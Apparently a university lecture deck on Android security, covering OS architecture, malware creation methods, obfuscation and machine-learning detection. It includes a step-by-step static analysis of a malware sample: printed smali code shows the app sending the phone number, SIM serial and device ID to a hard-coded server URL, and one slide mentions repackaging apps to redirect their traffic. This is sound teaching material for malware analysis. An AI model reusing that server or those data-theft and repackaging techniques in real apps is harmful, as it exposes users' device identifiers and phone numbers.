android security and reverse engineering · • android and malware basics – os elements –...

Pattern Recognitionand Applications Lab

Universityof Cagliari, Italy

Department of Electrical and Electronic Engineering

Android Security and Reverse Engineering

Davide Maiorca

[email protected]

Computer Security, A.Y. 2017/2018

http://pralab.diee.unica.it

Contents

• Introduction• Android and Malware Basics– Os Elements– Application Structure– Malware Basics

• Dissecting a Malware– Reading the Manifest– Exploring DexCode

• Obfuscation• Machine Learning for Android• Conclusions

2


Introduction – Mobile Malware

Source: Symantec, 2017

3


Introduction – Android Security

• Why is Android so popular for malware?• A lot of applications are not downloaded from the

standard market (Google Play), but also from thirdparty markets– Better prices– Apps that are not officially found

• Many users attempt to obtain root privileges– They allow to completely control the phone

• More recent malware do not even need root privileges– They simply exploit the OS architecture to steal data

or lock the device

4


Android Versions

Source: Google, 2018

5


General Structure

• Layer-based architecture• Four basic Layers• Applications (e.g, contacts)• Application Framework (activities, services,

content providers, etc.)• Libraries (Dalvik Virtual Machine / ART)• Linux Kernel (low level system

functionalities)

6


Layer-Based Architecture

7


Kernel

• Manages processes• Drivers to physical resources

– Enabled through system calls• Supports Communication Between Processes (IPC)

– Driver Binder (Intents)– Sockets – Binder (Kernel Level)– Intents (e.g., using an external browser)– Data management with content providers

• App can (and must) be signed with certificates• Encrypted File System (Kernel >=3.0, AES 128 bit)• Memory Error Protections (DEP+ASLR from Android 4.0)

8


Native Libraries

• Written in C/C++ (do NOT confuse them with the ones used

to normally program)

• Interfaced with the Application Framework

– Libc

– SQLLite

– OpenGL

• Useful for the attacker when he wants to directly access

memory…

• To execute applications, Android uses a specific runtime

• Dalvik Virtual Machine is used till Android 4.4

• Since Android 5, it is compulsory to use ART (Android

RunTime )

9


Dalvik Virtual Machine

• Android apps are usually written in Java

• But the Java Virtual Machine (JVM) is typically not efficient!

• Try to run it on a 256 MB RAM Smartphone...

• Dalvik VM improves various elements of the JVM

• Just in Time compilation (instructions are compiled at runtime)

• Dalvik code is obtained through a conversion from Java Bytecode

• Much more efficient (optimized for ARM architectures)!

10


Dalvik Virtual Machine (2)

11


Dalvik Bytecode

12

Java

Dalvik

Source Code


Android RunTime (ART)

• Evolution of Dalvik Virtual Machine• Dalvik bytecode is compiled and transformed to

machine code (at install time) • The application executes machine code (ARM) once

installed– ARM architecture differs to Intel…

• Supports 64 bit processors!• Speed Boost with respect to Dalvik• Longer install time…• …And more space occupied by the app

13


Android RunTime (ART)

14


Application Framework

• An Android app is composed of four essential components• Activities

– Program screens– Each screen corresponds to one activity– An app can have multiple activities

• Services– Background execution (e.g., listening to mp3)– No interface components

• Broadcast Receivers– Events that are only activated under certain conditions

• Content Providers– Interfaces for sharing data among applications

15


Application Layer

AndroidManifest.xml

Classes.dex (Bytecode)

Assets

Resource Files(es. Layout)

Manifest.xml: information on application components

Classes.dex: Executablecode

Assets: External resources(images, libraries, other.dex files…)

Resource Files: Describe the application layout

16


Malware

• Applications that execute malicious actions– SMS to premium numbers– Stealing contacts– Undesired calls – Botnet – Ransomware

• 299 new malware families in 2016• Main creation techniques

– Repackaging– Update– Drive-By-Download– Others (stand-alone)

17


Repackaging

• A payload is injected inside an app that is then recompressed and signed

• The app is then submitted to a store• Repackaged app exploits dangerous permissions

that are already used by benign apps • Most used techniques for its simplicity – AFE (Android Framework For Exploitation -

https://github.com/appknox/AFE)• A lot of scientific research has been done to detect

repackaged apps

18


Update

After having installed an app, you will be required to download an update

The update contacts a malicious URL that drops a malicious app

Sometimes, the malware is directlyloaded without being downloaded

This has been used by some of the most popular malware (e.g., Base Bridge e Droid Kung Fu)

19


Drive-By Download and Other CreationTechniques• Drive-by download is used in a lot of malicious apps• An advertisement in a legitimate app redirects to a malicious URL• The url drops a malicious app• Examples:

– GGTracker– JIFake

• Malware can be obviously created without resorting to additional techniques– Spyware– Malware that uses interfaces similar to legitimate applications

(note: They are not repackaged - e.g., FakeNetflix)– Applications with Hybrid Functionalities (execute both

legitimate and malicious actions)

20


Malware Analysis: Time to Get Serious!

21


Goals and Tools• GOAL: Understanding some of the actions performed by a (supposedly)

malware sample

• MD5 Hash: c8e5076adc3fc65b1bb2e332ef0c9d52 App Size: 43 Kb (Yes,

rather small J )

• VirusTotal score: 31/60

• Essential Tools:

– Java (yes, you can’t avoid it)

– ApkTool (popular disassembler)

– Text editor

– Paper, pen J

• START OFF: java –jar apktool decode <application> <output folder>• You can find the already disassembled app together with these slides

(password: infected)

22


App Output

23


After Disassemling

• The classes.dex file is decoded into four Packages of .smali files (excluding further subpackages)– .smali is a simplified format to read dexcode– Two system based (android.annotation /

com.android.internal)– One third party based (org.apache.http.entity.mime) ->

related to mail?– QiN946i7GWDkTRAN.GpGlfNTX6v9V8NGm-> Guess we

have a suspicious one here J

• The Android Manifest (compulsory) is decoded to a readable .xml

• Other .xml files (for now, we overlook them)24


Analysis Steps

• Find the app components (from the Manifest)• DexCode analysis

– Analyze the code of the main activity (i.e., the one with the MAIN intent filter)

– Starting from it, build the user-made call graph from the MAIN activity

– Analyze suspicious strings (e.g., urls, Unicode strings, etc.) and track them

– Repeat for the other app components (e.g. services)

• Analyze external elements (images, external libraries, etc. )

• Other…? (use other programs, dynamic analysis…)25


Analyzing the Manifest

• XML File• Its structure is mainly based on tags• Two main parts

– Permission definitions– Component definitions

• Quite straight-forward to read once you get used to it

• A goldmine of information!

26


Analyzing the Manifest: Permissions

27

<uses-permission android:name="android.permission.INTERNET"/><uses-permission

android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.READ_SMS"/><uses-permission android:name="android.permission.SEND_SMS"/><uses-permission

android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission

android:name="android.permission.WRITE_SETTINGS"/><uses-feature android:name="android.hardware.telephony" android:required="false"/><uses-permission android:name="android.permission.CALL_PHONE"/><uses-permission

android:name="android.permission.MODIFY_PHONE_STATE"/>


Analyzing the Manifest: Finding the MainComponent

28

package="QiN946i7GWDkTRAN.GpGlfNTX6v9V8NGm.view">

<activity android: android:name=".MainActivity"><intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.default"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter></activity>


Analyzing the Manifest: Other Components

29

<activity android:name=".RegDPMActivity"><intent-filter>

<actionandroid:name="android.intent.action.MAIN"/>

<categoryandroid:name="android.intent.category.default"/>

</intent-filter></activity>

<service android:name=".PreodicService"/><receiver android:name=".DeviceAdmin" ><receiver android:name=".SMSBroadcastReceiver">

<receiver android:name="CallStateReceiver">


DexCode Analysis: Inside MainActivity

30

• Smali files can be very large• We cannot analyze every single line of code• We should set some goals, considering the typical

actions of malware– SMS Send/Stealing– Suspicious HTTP requests– Access to contacts/phone status

• In our case, we have to look for:– Invokation to User-implemented methods/classes– Suspicious strings– Suspicious fields assignments


DexCode Instructions

31

• A lot of instructions (but way simpler than Assembly ARM…)• For this tutorial, we only need a very simplified set• Generally: [Instr-Name] [Registers] [Parameters]

– Virtual Registers!• sget

– Places the content of parameter (a static field in this case) in the destination register

– Eg. sget-object v4, MyClass.foo (pushes the content of the field foo in v4)

• new-instance– Initialize a new class (e.g.: new-instance v4, MyFoo)

• const-string– Define a constant string and pushes it to a register (e.g., const-

string v4, “bla” places the string bla in V4)


DexCode Instructions - Invocations

32

• Invocations can be of multiple types

• In this tutorial, let us consider every invoke as a generic invocation to a method

• Generally: Invoke-[Virtual/Direct/Static/Interface] {parameter registers}, L{Class_Name}->{Method}(Parameter Names){Return Type}

– Classes are always introduced by the letter L

– Common return types are represented by a letter (e.g., int is I, boolean is Z, void is V…)

– If a function returns, after an invoke there is usually a move-result function

– The parameter registers match the parameter names, but in object instances the first register always refers to the object caller itself

– E.g.: invoke-virtual{v0,v1}, LMyClass->Foo(I)V


Inside MainActivity – Finding Invocations…

33

const/4 v8, 0x0invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V ** System Class and Method …

invoke-virtual {p0}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager; **User-Defined class, but system method! (inheritance)…move-result-object v4

.super Landroid/app/Activity; ** Careful about superclasses!

This are not really interesting though … L


Finding Interesting Invocations! J

const-string v4, "SMS_BlockState”invoke-interface {v0, v4, v8}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;

const-string v4, "Server_URL”sget-object v5, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/net/HttpUtils;->URL:Ljava/lang/String; -> We should check HttpUtils later…invoke-interface {v0, v4, v5}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;

34

Tip 1: Look for string-based parameters or fields!


Finding Interesting Invocations! J (2)

new-instance v3, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/Util;

invoke-direct {v3, p0}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/Util;-><init>(Landroid/content/Context;)V

invoke-virtual {v3}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/Util;->doRegisterUser()Ljava/lang/String;

35

Tip 2: Look for calls to user-implemented classes!



new-instance v4, Landroid/content/Intent;

const-class v5, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/PreodicService;

invoke-direct {v4, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {p0, v4}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

36

Tip 3: Look for intents (messages) to other components



new-instance v4, Landroid/content/Intent;const-class v5, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/RegDPMActivity;invoke-direct {v4, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)Vinvoke-virtual {p0, v4}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/MainActivity;->startActivity(Landroid/content/Intent;)V

37

Another Activity is also called…


Be Practical, Be Conceptual!

38

PKG/view/MainActivity

PKG = LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/

PKG/view/Util;->doRegisterUser

PKG/view/PreodicService

PKG/view/RegDPMActivity

PKG/net/HttpUtils;->URL


Exploring HttpUtils

39

const-string v0, "http://111.252.89.92/"

sput-object v0, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/net/HttpUtils;->URL:Ljava/lang/String;

A taiwanese server…still up (!)

What is it used for? What can we sayabout its maliciousness?


Traces of server usage: Util->doRegisterUser

40

Our previous scheme can be useful to find the target classes to inspect

new-instance v6, Ljava/lang/StringBuilder;sget-object v7,LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/net/HttpUtils;->URL:Ljava/lang/String;

invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;move-result-object v7invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

const-string v7, "index.php?type=join&telnum=”invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;move-result-object v6

Guess what’s going on here…J


More inspection, other traces…

41

The code in doRegisterUser strongly depends on this instruction…

invoke-virtual {p0}, LQiN946i7GWDkTRAN/GpGlfNTX6v9V8NGm/view/Util;->getPhoneNumber()Ljava/lang/String;

I think we can already say that…

getPhoneNumber method

invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

invoke-virtual {v4}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;

invoke-virtual {v4}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;


It’s MALWARE!

42


Mangling Android Apps

43

• Smali files have another advantage• You can change any line of code inside the file• Then you can reassemble the file with apk tool (with the

encode command)• This can be very useful if you want, for example, to force the

execution of the program towards a direction…• …or if you want to redirect the app traffic towards your

server J• But be careful!• Android has a very precise verification system• One mistake and the application won’t work anymore!


More Hints

44

• Static analysis is very useful, but for some files it is not really adequate– For example, heavily obfuscated files

• Attack code can be contained also in native libraries – Need to disassemble them and read Assembly ARM L

• Be careful about multithreading!– You recognize thread usage if the file name has a $ on it– Some apps can run on multiple threads– Very hard to understand how they work with static analysis only

• Use dynamic analysis too!• Systems like TraceDroid can really help

(http://tracedroid.few.vu.nl/index.php)


Lessons Learned

45

• The goal is not analyzing every single line of code, but understanding suspicious actions

• Always keep in mind what the possible intentions of the attacker are

• Be conceptual, draw schemes, trace suspicious variables/fields/methods

• Whenever you find a domain/ip address, try to understand its activity (e.g., where it comes from)

• If you get lost while following a sequence of methods, try another one

• Practice, practice, practice!


Obfuscation

• Ensemble of techniques to make the executable code less readable for a human/machine (without changing its semantics)

• Such techniques mainly act on the classes.dex file, and secondarily on the Manifest.xml

• These techniques are typically used to protect codes from possible copies…

• …but also to evade detection systems for malware• To better understand obfuscation, let’s have a look at the

classes.dex structure

46


Classes.dex Structure

Header

String IDS

Proto IDS

Type IDS

Field IDS

Method IDS

Classes Defs

Data

Header

String IDS: References to strings

Type IDS: (references to strings that represent the types used by method, classes and attributes)

Proto IDS: references to prototypes (return types, parameters and method names)

Field IDS: references to fields (class attributes)

Method IDS: references to methods (define information on methods)

Classes Defs: (information about classes)

Data: all the executed/referenced data

IDS contain references to data

The code references to IDS!You can change a string without

disrupting the functionality of thefile

47


Static Obfuscation Techniques• Trivial / Renaming

– Rename classes, methods and attribute names– Acts on strings only

• String Encryption– Each string is encrypted and decrypted at runtime with additional

methods• Reflection

– All method/field invocations are replaced with “introspective calls” that have the same effect as the original ones

– Uses Java Reflection API– Acts on methods and data sections

• Class Encryption– Classes are encrypted– They are then decrypted and dynamically loaded at runtime– Heavy changes to the executable file

48


Static Obfuscation - Example

Reflection

this.counter=10; Field myCounter=MyClass.class.getDeclaredField(“counter”);myCounter.set(this,10);

OriginalObfusc.

49

TrivialOriginal

Obfusc.Class descriptor : ′Lcom/tt/yy/GoogleReaderServices$ReadingBinder;′Access flags : 0x0001 (PUBLIC)Superclass : ′Landroid/os/Binder;′ Class descriptor : ′Lcom/tt/yy/b;′

Access flags : 0x0001 (PUBLIC)Superclass : ′Landroid/os/Binder;′

49


Android PraGuard

• Dataset of obfuscated malware

• The Genome dataset has been obfuscated in seven different ways

• We used DexGuard, a popular commercial obfuscation tool (Maiorca et al., Computers & Security 2015)

• 10479 samples

• You could use it for your experiments, to practice with more advanced malware and a lot more…

• Available for free (under request)

• Already owned by more than 60 universities J

• http://pralab.diee.unica.it/en/AndroidPRAGuardDataset

50


Machine Learning for Android Malware Detection• The amount of available malware is progressively increasing• Signature systems are often inadequate

– Slow updates– Weak signatures– False positives

• Research has focused on Machine Learning-based strategies to improve detection– Detection of never-seen before samples– Reducing the number of updates

• Still a lot of research challenges to take!

51


Structure of Detection Systems

52


Feature Design• A crucial part is understanding which features should be analyzed by the

system

• Such information can include:

– System API calls (Drebin, R-PackDroid)

– Permissions

– IP Addresses

– Filtered Intents

• Some systems are already used at the state of the art (e.g., DREBIN – Arp et al., NDSS 2014; StormDroid – Chen et al., ASIACCS 206; R-PackDroid –Maiorca et al., SAC 2017)

• Still a lot of research challenges to take!

– More advanced and robust features

– Resilience against obfuscation

– Resilience of the ML Algorithm (Adversarial Machine Learning)

53


Conclusions

• Mobile malware analysis (and its detection) is a critical topic in Computer Security

• Like malware analysis in X86 architectures, it’s a complex discipline, full of hurdles and traps…

• …but it can also tell a lot about how attacks against mobile platforms are evolving

• The usage of machine learning is also particularly of interest in this field– AV companies are starting to use it more and more!

• A lot of reseach topics are waiting for being explored…• Jump in! J

54


References• Marko Gargenta, Learning Android. O’Reilly, 2011.• Symantec. Internet Security Threat Report, 2017.• Android Official Documentation.

https://developer.android.com/guide/index.html• D. Maiorca, D. Ariu, I. Corona, M. Aresu, G. Giacinto. Stealth Attacks. An

Extended Insight into the Obfuscation Effects on Android Malware. In Computer and Security (Elsevier), 2015.

• D. Maiorca, F. Mercaldo, G. Giacinto, A. Visaggio, F. Martinelli. R-PackDroid. API Based Characterization and Detection of Mobile Ransomware. In ACM SAC 2017.

• A. Demontis, M. Melis, B. Biggio, D. Maiorca, D. Arp, K. Rieck, I. Corona, G. Giacinto, and F. Roli. Yes, Machine Learning Can Be More Secure! A Case Study on Android Malware Detection. In IEEE Trans. Dependable and Secure Computing, In Press.

55

android security and reverse engineering · • android and malware basics – os elements –...

Documents